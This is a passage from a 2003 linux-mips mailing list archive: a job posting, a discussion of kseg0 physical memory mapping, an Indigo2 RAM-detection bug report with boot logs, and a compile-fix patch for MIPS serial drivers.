	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8225199AbTDKVng>; Fri, 11 Apr 2003 22:43:36 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3BLeGO02470
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 14:40:16 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22AC3X82>; Fri, 11 Apr 2003 14:37:09 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102EFC@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: linux-mips@linux-mips.org
Subject: 
Date: Fri, 11 Apr 2003 14:37:02 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C30072.7D2E3D80"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2002
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C30072.7D2E3D80
Content-Type: text/plain;
	charset="ISO-8859-1"

ALL

I'm looking to hire a mips linux engineering team leader. This position,
will lead a group of highly trained engineers in both Sunnyvale CA. and
Bangalore, India who are building Linux-based digital televisions and
set-top boxes. You will also work directly with customers world-wide in
defining and implementing Linux-based solutions in the digital TV space.
Send my your resume if intrested.
Thanks

Dennis Castleman
Manager Systems Software Engineering 
TeraLogic Group, Inc. a division of Oak Technologies Inc. 
1-408-523-4214


------_=_NextPart_001_01C30072.7D2E3D80
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE></TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">ALL</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I'm looking to hire a mips linux =
engineering team leader. This</FONT><FONT FACE=3D"Times New Roman"> =
position, will lead a group of highly trained engineers in both =
Sunnyvale CA. and Bangalore, India who are building Linux-based digital =
televisions and set-top boxes. You will also work directly with =
customers world-wide in defining and implementing Linux-based solutions =
in the digital TV space.&nbsp; Send my your resume if =
intrested.</FONT></P>

<P><FONT FACE=3D"Times New Roman">Thanks</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Dennis Castleman</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Manager Systems Software =
Engineering</FONT><FONT SIZE=3D2 FACE=3D"Comic Sans MS"> </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Comic Sans MS">TeraLogic Group, Inc. a =
division of<B> </B></FONT><B><FONT COLOR=3D"#FF0000" SIZE=3D2 =
FACE=3D"Comic Sans MS">O</FONT><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Comic Sans MS">ak</FONT><FONT FACE=3D"Comic Sans MS"> =
</FONT><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Technologies =
Inc.</FONT></B><FONT SIZE=3D2 FACE=3D"Comic Sans MS"></FONT><BR>
<FONT SIZE=3D2 FACE=3D"Comic Sans MS">1-408-523-4214</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C30072.7D2E3D80--

From erik@greendragon.org Sun Apr 13 03:13:55 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 03:13:56 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:6793 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225197AbTDMCNy>;
	Sun, 13 Apr 2003 03:13:54 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 26BAC3735
	for <linux-mips@linux-mips.org>; Sat, 12 Apr 2003 21:13:52 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h3D2Dq6D019755
	for <linux-mips@linux-mips.org>; Sat, 12 Apr 2003 21:13:52 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h3D2Dp5N019754
	for linux-mips@linux-mips.org; Sun, 13 Apr 2003 02:13:51 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from 64-212-120-201.bras01.mnd.mn.frontiernet.net (64-212-120-201.bras01.mnd.mn.frontiernet.net [64.212.120.201]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sun, 13 Apr 2003 02:13:51 +0000
Message-ID: <1050200031.3e98c7df2c227@my.visi.com>
Date: Sun, 13 Apr 2003 02:13:51 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: Where does physical RAM start in kseg0?
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 64.212.120.201
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2003
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips



Hi again, everyone;

A question about kseg0:  Do system designers usually set things up such that
kseg0 begins at the start of physical memory, regardless of the xkphys offset at
which RAM starts?

Or is it necessary to add the offset at which RAM starts to the kseg0 base,
making it possible that the system designers could start RAM addresses high
enough (above 512M) to make kseg0 unusable?  Does anyone have an implementation
in which this is the case?  

If kseg0 provides a window beginning at physical address 0, that means I'm going
to try using Ralf's mapped kernel option, or I'll have to get the kernel up and
running in 64 bit only mode (I believe 32 bit compat binaries would still work,
since kuseg can be mapped).

Erik



-- 
Erik J. Green
erik@greendragon.org

From ralf@linux-mips.net Sun Apr 13 03:25:38 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 03:25:39 +0100 (BST)
Received: from p508B6CE5.dip.t-dialin.net ([IPv6:::ffff:80.139.108.229]:10452
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDMCZi>; Sun, 13 Apr 2003 03:25:38 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3D2PTX20209;
	Sun, 13 Apr 2003 04:25:29 +0200
Date: Sun, 13 Apr 2003 04:25:29 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Where does physical RAM start in kseg0?
Message-ID: <20030413042529.A20034@linux-mips.org>
References: <1050200031.3e98c7df2c227@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1050200031.3e98c7df2c227@my.visi.com>; from erik@greendragon.org on Sun, Apr 13, 2003 at 02:13:51AM +0000
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2004
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Sun, Apr 13, 2003 at 02:13:51AM +0000, Erik J. Green wrote:

> 
> A question about kseg0:  Do system designers usually set things up such that
> kseg0 begins at the start of physical memory, regardless of the xkphys
> offset at which RAM starts?

XKPHYS and KSEG0 map the same physical address space so the offsets is
the same.  Keep also in mind that XKPHYS maps the physical address space
8 times due to the 3 bits of the address that encode a caching mode.

> Or is it necessary to add the offset at which RAM starts to the kseg0 base,
> making it possible that the system designers could start RAM addresses high
> enough (above 512M) to make kseg0 unusable?  Does anyone have an
> implementation in which this is the case?  

There is no requirement at all for a system to have physical memory in
KSEG0 - the Octane to my knowledge one example.  What every sane system
needs to have in KSEG0 are exception handlers.  Of course they could also
reside in a ROM but that's insane so you should expect at least a few kb
of RAM at physical address zero.

> If kseg0 provides a window beginning at physical address 0, that means
> I'm going to try using Ralf's mapped kernel option, or I'll have to get
> the kernel up and running in 64 bit only mode (I believe 32 bit compat
> binaries would still work, since kuseg can be mapped).

Due to the Octane's funky address space layout and the current tools
limitations the kernel will have to run in CKSEG2 instead of KSEG0 ...

  Ralf

From erik@greendragon.org Sun Apr 13 03:28:41 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 03:28:42 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:21641 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225197AbTDMC2l>;
	Sun, 13 Apr 2003 03:28:41 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP
	id 5C8AA3735; Sat, 12 Apr 2003 21:28:40 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h3D2Se6D019804;
	Sat, 12 Apr 2003 21:28:40 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h3D2SebC019803;
	Sun, 13 Apr 2003 02:28:40 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from 64-212-120-201.bras01.mnd.mn.frontiernet.net (64-212-120-201.bras01.mnd.mn.frontiernet.net [64.212.120.201]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sun, 13 Apr 2003 02:28:39 +0000
Message-ID: <1050200919.3e98cb57e6b84@my.visi.com>
Date: Sun, 13 Apr 2003 02:28:39 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: Ralf Baechle <ralf@linux-mips.org>
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: Where does physical RAM start in kseg0?
References: <1050200031.3e98c7df2c227@my.visi.com> <20030413042529.A20034@linux-mips.org>
In-Reply-To: <20030413042529.A20034@linux-mips.org>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 64.212.120.201
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2005
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting Ralf Baechle <ralf@linux-mips.org>:

Ralf wrote:
> There is no requirement at all for a system to have physical memory in
> KSEG0 - the Octane to my knowledge one example.  What every sane system
> needs to have in KSEG0 are exception handlers.  Of course they could also
> reside in a ROM but that's insane so you should expect at least a few kb
> of RAM at physical address zero.

At this point I wouldn't put anything past SGI, but it's good to know my 
suspicions about kseg0 are confirmed.
> 
> Due to the Octane's funky address space layout and the current tools
> limitations the kernel will have to run in CKSEG2 instead of KSEG0 ...
> 
>   Ralf

/nod.  Onward and upward.

Thanks,
Erik



-- 
Erik J. Green
erik@greendragon.org

From kumba@gentoo.org Sun Apr 13 06:11:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 06:12:00 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.109]:26076 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225200AbTDMFL7>; Sun, 13 Apr 2003 06:11:59 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout11.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HD900C6DNRMVX@mtaout11.icomcast.net> for
 linux-mips@linux-mips.org; Sun, 13 Apr 2003 01:11:47 -0400 (EDT)
Date: Sun, 13 Apr 2003 01:13:42 -0400
From: Kumba <kumba@gentoo.org>
Subject: Oddities with CVS Kernels, Memory on Indigo2
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E98F206.5050206@gentoo.org>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="Boundary_(ID_mPHpLOjH6K7srz4RLxYIkA)"
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2006
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.

--Boundary_(ID_mPHpLOjH6K7srz4RLxYIkA)
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT


	Greetings,

	Couple issues I've tried to bring up on this ML, but I think was 
blocked due my having an AOL.com address (which most people on this list 
probably categorize as spam).  Anyways...

	The two issues I've run into are my failure to get a kernel compiled 
from linux-mips.org CVS to actually boot, and linux, when I use a 
working kernel, does not detect the full 320MB of ram in my machine.

	On the first issue, the kernel builds fine, just does not boot.  There 
is no output from the kernel on why it refuses to boot.  It just stops 
responding to any input, and I hear no disk activity from the machine 
indicating it's actually doing something.  I even tried with with an 
antiquitated 2.4.3 kernel apparently off CVS as well, same result. 
However, using a stock kernel off kernel.org plus a debian patch for 
2.4.19, a workable kernel can be built and it boots fine.  I've since 
modified this debian patch to work with newer kernels (up to 
2.4.21-pre7), and it works, no problems.  I have no further idea what is 
wrong in this case.

	On the second issue, a "hinv" command at the PROM Monitor lists my 
machine as having 320MB of ram, however the kernel is apparently only 
detecting 256.  Upon the advice of Keith Wesolowski of Project Foobazco, 
I enabled the DEBUG #define in arch/mip/arc/memory.c to see what the ARC 
Memory descriptor dump was like.  Keith said the dump indicated that 
whatever was going on between the kernel and the PROM/ARC, the kernel 
was specifically being told there is 256MB of ram.

	For reference, the first eight slots are filled with 32meg SIMMs, and 
the last four filled with four 16MB simms, for a total of 320MB.  I 
tried testing only the four 16MB simms in the first bank, and both hinv 
and the kernel reported a functional amount of ram roughly equal to 
64MB.  I tried putting 128MB in bank 1, 64MB in bank 2, and the 
remaining 128MB in bank 3, thinking linux just doesn't see the last bank 
of ram...ARC/PROM still reported 320MB, the kernel said 256MB.

	Really I'm at a loss as to what is wrong.  I do know that when I 
briefly had installed an IP28 mainboard + R10K module, and all the ram 
and booted Thiemo's experimental 2.5.1 IP28 kernel, it saw all 320MB of 
ram.  However, that being a totally different mainboard, such 
information is probably not pertinent to this little investigation here...

	I've included a log of what hinv says, my attempt to boot a CVS kernel, 
and a working kernel.  Of notice, is with the CVS kernel, I also enabled 
DEBUG in arch/mips/arc/memory.c, and that did print debug output , 
however nothing further to indicate the CVS kernel booting.  My PROM 
chip also says this information: P/N: 070-1367-010, 3895 S6275.  I 
include that only on the odd circumstance I have an extremely weird 
PROM.  Who knows...

	If any other information is needed, let me know, I'll provide whatever 
I can.  It may not seem like much, it's only another 64MB of ram not 
available, but it's definitely out of the norm, so I figure it's worth a 
good look into.

--Kumba
Gentoo/Sparc/Mips Developer

--Boundary_(ID_mPHpLOjH6K7srz4RLxYIkA)
Content-type: text/plain; name=sgi-i2_info.txt
Content-transfer-encoding: 7BIT
Content-disposition: inline; filename=sgi-i2_info.txt

// hinv output

                   System: IP22
                Processor: 250 Mhz R4400, with FPU
     Primary I-cache size: 16 Kbytes
     Primary D-cache size: 16 Kbytes
     Secondary cache size: 2048 Kbytes
              Memory size: 320 Mbytes
                SCSI Disk: scsi(0)disk(1)
                SCSI Disk: scsi(0)disk(2)
               SCSI CDROM: scsi(0)cdrom(4)
                    Audio: Iris Audio Processor: version A2 revision 1.1.0




// linux-mips CVS kernel Boot attempt

>> boot -f 2421pm
ARCS MEMORY DESCRIPTOR dump:
[0,a8748a48]: base<00000000> pages<00000001> type<Exception Block>
[1,a8748a64]: base<00000001> pages<00000001> type<ARCS Romvec Page>
[2,a8748a2c]: base<00008002> pages<000001dd> type<Standalone Program Pages>
[3,a87492fc]: base<000081df> pages<00000561> type<Generic Free RAM>
[4,a87492cc]: base<00008740> pages<000000c0> type<ARCS Temp Storage Area>
[5,a87492b0]: base<00008800> pages<0000f800> type<Generic Free RAM>




// 2.4.21-pre7 off kernel.org + modified debian patch

>> boot -f 2421p7d
ARCS MEMORY DESCRIPTOR dump:
[0,a8748a48]: base<00000000> pages<00000001> type<Exception Block>
[1,a8748a64]: base<00000001> pages<00000001> type<ARCS Romvec Page>
[2,a8748a2c]: base<00008002> pages<000001ee> type<Standalone Program Pages>
[3,a87492fc]: base<000081f0> pages<00000550> type<Generic Free RAM>
[4,a87492cc]: base<00008740> pages<000000c0> type<ARCS Temp Storage Area>
[5,a87492b0]: base<00008800> pages<0000f800> type<Generic Free RAM>
ARCH: SGI-IP22
PROMLIB: ARC firmware Version 1 Revision 10
CPU: MIPS-R4400 FPU<MIPS-R4400FPC> ICACHE DCACHE SCACHE
CPU revision is: 00000460
FPU revision is: 00000500
Primary instruction cache 16kb, linesize 16 bytes.
Primary data cache 16kb, linesize 16 bytes.
Secondary cache sized at 2048K linesize 128 bytes.
Linux version 2.4.21-pre7 (root@isengard) (gcc version 3.2.2) #2 Sat Apr 12 17:3
0:18 EDT 2003
MC: SGI memory controller Revision 3
Determined physical RAM map:
 memory: 00001000 @ 00000000 (reserved)
 memory: 00001000 @ 00001000 (reserved)
 memory: 001ee000 @ 08002000 (reserved)
 memory: 00550000 @ 081f0000 (usable)
 memory: 000c0000 @ 08740000 (ROM data)
 memory: 0f800000 @ 08800000 (usable)
On node 0 totalpages: 98304
zone(0): 36864 pages.
zone(1): 61440 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3
EISA: Probing bus...
EISA: slot 4 : TCM5970 detected.
EISA: Detected 1 card.
ISA support compiled in.
Calibrating system timer... 1250000 [250.00 MHz CPU]
GIO: Scanning for GIO cards...
GIO: Card 0x7f @ 0x1f000000
GIO: Card 0x04 @ 0x1f400000
Console: colour dummy device 80x25
zs0: console input
Console: ttyS0 (Zilog8530), 38400 baud
Calibrating delay loop... 124.92 BogoMIPS
Memory: 255108k/259392k available (1603k kernel code, 4284k reserved, 108k data,
 88k init, 0k highmem)
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
isapnp: Scanning for PnP cards...
isapnp: No Plug & Play device found
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Journalled Block Device driver loaded
devfs: v1.12c (20020818) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
parport0: PC-style at 0x278 [PCSPP,TRISTATE,EPP]
initialize_kbd: Keyboard failed self test
keyboard: Timeout - AT keyboard not present?(ed)
keyboard: Timeout - AT keyboard not present?(f4)
pty: 256 Unix98 ptys configured
DS1286 Real Time Clock Driver v1.0
lp0: using parport0 (polling).
tipar: parallel link cable driver, version 1.18
tipar: registering to devfs : major = 115, minor = 0, node = 0
tipar0: using parport0 (polling).
tipar0: link cable not found.
Hardware Watchdog Timer for SGI IP22: 0.2
sgiseeq.c: David S. Miller (dm@engr.sgi.com)
eth0: SGI Seeq8003 08:00:69:0a:6d:33
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
3c59x: Donald Becker and others. www.scyld.com/network/vortex.html
See Documentation/networking/vortex.txt
3c59x: 3Com EISA 3c590 Vortex 10Mbps at 0x4000. Vers LK1.1.16
 ff:ff:ff:ff:ff:ff, IRQ 3
  product code ffff rev ffff.15 date 15-31-127
Full duplex capable
  1024K word-wide RAM 3:5 Rx:Tx split, autoselect/<invalid transceiver> interfac
e.
  Enabling bus-master transmits and early receives.
3c59x: scatter/gather enabled. h/w checksums disabled
SCSI subsystem driver Revision: 1.00
wd33c93-0: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
           setup_args=,,,,,,,,,
           Version 1.25 - 09/Jul/1997, Compiled Apr 12 2003 at 16:25:26
wd33c93-1: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
           setup_args=,,,,,,,,,
           Version 1.25 - 09/Jul/1997, Compiled Apr 12 2003 at 16:25:26
scsi0 : SGI WD93
scsi1 : SGI WD93
 sending SDTR 0103013f0csync_xfer=2c  Vendor: SEAGATE   Model: ST19171W
 Rev: 2219
  Type:   Direct-Access                      ANSI SCSI revision: 02
 sending SDTR 0103013f0csync_xfer=2c  Vendor: IBM       Model: DCHS09F  CLAR09
 Rev: SG53
  Type:   Direct-Access                      ANSI SCSI revision: 02
 sending SDTR 0103013f08sync_xfer=28  Vendor: TOSHIBA   Model: CD-ROM XM-5701TA
 Rev: 1557
  Type:   CD-ROM                             ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 2, lun 0
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
Partition check:
 /dev/scsi/host0/bus0/target1/lun0: p1 p2 p3 p4 p5 p6 p7 p8 p9
SCSI device sdb: 17796078 512-byte hdwr sectors (9112 MB)
 /dev/scsi/host0/bus0/target2/lun0: p1 p2 p3 p4
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
scsi0 channel 0 : resetting for second half of retries.
SCSI bus is being reset for host 0 channel 0.
scsi0: reset.  sending SDTR 0103013f08sync_xfer=28<3>sr0: CDROM (ioctl) error, c
ommand: 0x1a 00 2a 00 80 00
sr00:00: sns =  0  0
Non-extended sense class 0 code 0x0
Raw sense data:0x00 0x00 0x00 0x00
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
SGI Zilog8530 serial driver version 1.00
tty00 at 0xbfbd9830 (irq = 45) is a Zilog8530
tty01 at 0xbfbd9838 (irq = 45) is a Zilog8530
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
 sending SDTR 0103013f0csync_xfer=2c<6>kjournald starting.  Commit interval 5 se
conds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Mounted devfs on /dev
Freeing prom memory: 768kb freed
INIT: version 2.84 booting

Gentoo Linux; http://www.gentoo.org/
 Copyright 2001-2003 Gentoo Technologies, Inc.; Distributed under the GPL

[snip]


--Boundary_(ID_mPHpLOjH6K7srz4RLxYIkA)--

From karsten@excalibur.cologne.de Sun Apr 13 16:14:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 16:14:35 +0100 (BST)
Received: from natsmtp00.webmailer.de ([IPv6:::ffff:192.67.198.74]:26340 "EHLO
	post.webmailer.de") by linux-mips.org with ESMTP
	id <S8225212AbTDMPOe>; Sun, 13 Apr 2003 16:14:34 +0100
Received: from excalibur.cologne.de (p508510AA.dip.t-dialin.net [80.133.16.170])
	by post.webmailer.de (8.12.8/8.8.7) with ESMTP id h3DFEW7S009850
	for <linux-mips@linux-mips.org>; Sun, 13 Apr 2003 17:14:33 +0200 (MEST)
Received: from karsten by excalibur.cologne.de with local (Exim 3.35 #1 (Debian))
	id 194jJP-0004R1-00
	for <linux-mips@linux-mips.org>; Sun, 13 Apr 2003 17:22:31 +0200
Date: Sun, 13 Apr 2003 17:22:26 +0200
From: Karsten Merker <karsten@excalibur.cologne.de>
To: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
Message-ID: <20030413152226.GB1968@excalibur.cologne.de>
Mail-Followup-To: Karsten Merker <karsten@excalibur.cologne.de>,
	linux-mips@linux-mips.org
References: <20030402120316Z8225232-1272+1120@linux-mips.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MGYHOYXEY6WxJCY8"
Content-Disposition: inline
In-Reply-To: <20030402120316Z8225232-1272+1120@linux-mips.org>
User-Agent: Mutt/1.3.28i
X-No-Archive: yes
Return-Path: <karsten@excalibur.cologne.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2007
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: karsten@excalibur.cologne.de
Precedence: bulk
X-list: linux-mips


--MGYHOYXEY6WxJCY8
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Apr 02, 2003 at 01:03:08PM +0100, macro@linux-mips.org wrote:

> Changes by:	macro@ftp.linux-mips.org	03/04/02 13:03:08
> 
> Modified files:
> 	drivers/char   : Tag: linux_2_4 dz.c 
> 	drivers/tc     : Tag: linux_2_4 zs.c 
> 
> Log message:
> 	Set .owner in case the code gets modularized.  Patch by Hanna Linder.

I guess something went wrong here. Maciej, you are trying to set a field
"owner" in a struct tty_driver, which does not have an "owner" field.
This results in dz.c and zs.c not compiling.

Besides this problem, Ralf's recent changes regarding the CPU infos
broke the build for DECstations:

http://cvs.linux-mips.org/cvsweb/linux/arch/mips/dec/prom/init.c.diff?r1=1.8&r2=1.9&f=h

uses current_cpu_data instead of mips_cpu but does not define it. To get
them defined, inclusion of <asm/processor.h> and <linux/smp.h> is needed.

Appended is a small patch which makes the CVS compileable again.

Regards,
Karsten
-- 
#include <standard_disclaimer>
Nach Paragraph 28 Abs. 3 Bundesdatenschutzgesetz widerspreche ich der Nutzung
oder Uebermittlung meiner Daten fuer Werbezwecke oder fuer die Markt- oder
Meinungsforschung.

--MGYHOYXEY6WxJCY8
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="cvs_20030413_compile_fix.patch"

diff -Nur linux.orig/arch/mips/dec/prom/init.c linux/arch/mips/dec/prom/init.c
--- linux.orig/arch/mips/dec/prom/init.c	Mon Apr  7 02:17:06 2003
+++ linux/arch/mips/dec/prom/init.c	Sun Apr 13 16:51:11 2003
@@ -11,7 +11,8 @@
 #include <asm/bootinfo.h>
 #include <asm/cpu.h>
 #include <asm/dec/prom.h>
-
+#include <asm/processor.h>
+#include <linux/smp.h>
 
 int (*__rex_bootinit)(void);
 int (*__rex_bootread)(void);
diff -Nur linux.orig/drivers/char/dz.c linux/drivers/char/dz.c
--- linux.orig/drivers/char/dz.c	Wed Apr  2 14:03:00 2003
+++ linux/drivers/char/dz.c	Sun Apr 13 15:20:43 2003
@@ -1310,7 +1310,7 @@
 
 	memset(&serial_driver, 0, sizeof(struct tty_driver));
 	serial_driver.magic = TTY_DRIVER_MAGIC;
-	serial_driver.owner = THIS_MODULE;
+/*	serial_driver.owner = THIS_MODULE; */
 #if (LINUX_VERSION_CODE > 0x2032D && defined(CONFIG_DEVFS_FS))
 	serial_driver.name = "ttyS";
 #else
diff -Nur linux.orig/drivers/tc/zs.c linux/drivers/tc/zs.c
--- linux.orig/drivers/tc/zs.c	Wed Apr  2 14:03:04 2003
+++ linux/drivers/tc/zs.c	Sun Apr 13 15:20:57 2003
@@ -1888,7 +1888,7 @@
 
 	memset(&serial_driver, 0, sizeof(struct tty_driver));
 	serial_driver.magic = TTY_DRIVER_MAGIC;
-	serial_driver.owner = THIS_MODULE;
+/*	serial_driver.owner = THIS_MODULE; */
 #if (LINUX_VERSION_CODE > 0x2032D && defined(CONFIG_DEVFS_FS))
 	serial_driver.name = "tts/%d";
 #else




--MGYHOYXEY6WxJCY8--

From brm@murphy.dk Sun Apr 13 19:41:55 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 13 Apr 2003 19:41:56 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:2856
	"EHLO brian.localnet") by linux-mips.org with ESMTP
